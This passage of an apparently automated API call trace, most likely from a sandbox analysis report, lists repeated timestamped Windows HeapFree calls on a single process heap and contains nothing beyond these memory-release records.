	[0166.044] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.045] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.047] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.048] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.050] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.052] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.053] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.055] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.056] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.058] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.059] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.061] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.062] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.064] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.065] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.070] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.071] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.072] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.074] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.075] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.077] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.078] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.080] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.363] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.515] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.682] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.774] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.849] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.851] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.852] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.854] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.856] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.858] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.859] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.861] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.862] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.864] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.865] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.867] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.868] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.870] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.872] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.873] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.875] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.876] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.878] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.879] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.881] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.882] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.883] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.885] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0167.007] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0167.008] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0167.010] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0167.011] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0167.013] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0167.014] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0167.016] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0167.017] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0167.019] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0167.020] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0167.020] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0167.020] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0167.022] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0167.022] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0167.023] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0167.024] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4165fd8 | out: hHeap=0x5a0000) returned 1
	[0167.029] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0167.030] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0167.030] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0167.030] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0167.030] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0167.031] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0167.031] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0167.035] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0167.035] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0167.037] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0167.040] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0167.244] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0167.261] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0167.273] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0167.274] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0167.274] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42a29a8 | out: hHeap=0x5a0000) returned 1
	[0167.274] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0167.275] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42a29a8 | out: hHeap=0x5a0000) returned 1
	[0167.275] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0167.275] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0167.277] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0167.277] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0167.277] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0167.277] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42a29a8 | out: hHeap=0x5a0000) returned 1
	[0167.277] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0167.278] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0167.279] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0167.279] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0167.279] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0167.279] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0167.279] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42a29a8 | out: hHeap=0x5a0000) returned 1
	[0167.279] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42a29a8 | out: hHeap=0x5a0000) returned 1
	[0167.280] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0167.280] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0167.281] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0167.281] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4200450 | out: hHeap=0x5a0000) returned 1
	[0167.283] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0167.283] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0167.283] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0167.283] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0167.283] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0167.284] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0167.284] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0167.636] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0167.636] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0167.636] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0167.637] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0167.637] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0167.637] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0167.638] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0167.639] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0167.640] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4200450 | out: hHeap=0x5a0000) returned 1
	[0167.640] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0167.640] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42a29a8 | out: hHeap=0x5a0000) returned 1
	[0167.647] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0167.648] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42a29a8 | out: hHeap=0x5a0000) returned 1
	[0167.648] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0167.650] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42a29a8 | out: hHeap=0x5a0000) returned 1
	[0167.651] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42a29a8 | out: hHeap=0x5a0000) returned 1
	[0167.652] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0167.652] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0167.652] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42a29a8 | out: hHeap=0x5a0000) returned 1
	[0167.657] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42a29a8 | out: hHeap=0x5a0000) returned 1
	[0167.658] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0167.661] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0167.661] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0167.663] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0167.664] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0167.664] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0167.664] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0167.664] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0167.670] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0167.673] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0168.103] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0168.103] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42a29a8 | out: hHeap=0x5a0000) returned 1
	[0168.103] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0168.103] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0168.103] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0168.103] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0168.103] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0168.104] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0168.104] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0168.104] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0168.104] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0168.104] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0168.105] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0168.106] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x39f0740 | out: hHeap=0x5a0000) returned 1
	[0168.106] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0168.470] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0168.470] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0168.482] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0168.482] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0168.483] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0168.484] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0168.484] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0168.487] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0168.487] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0168.488] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0168.489] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0168.489] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0168.490] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0168.490] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0168.494] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0168.494] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0168.496] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0168.496] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0168.496] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0168.499] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0168.499] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0168.500] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0168.500] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0168.505] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0168.505] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0168.743] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0168.748] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0168.754] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0168.754] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0168.754] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0168.754] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0168.755] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0168.755] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0168.755] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0168.755] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0168.755] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0168.755] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0168.755] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0168.755] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0168.755] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4200450 | out: hHeap=0x5a0000) returned 1
	[0168.996] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0169.246] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0169.247] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0169.248] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4200450 | out: hHeap=0x5a0000) returned 1
	[0169.281] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0169.323] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4200450 | out: hHeap=0x5a0000) returned 1
	[0169.323] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0169.596] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0169.596] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0169.596] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0169.637] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0169.637] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0169.637] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0169.637] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0170.148] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.181] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.192] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.193] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.215] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.468] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
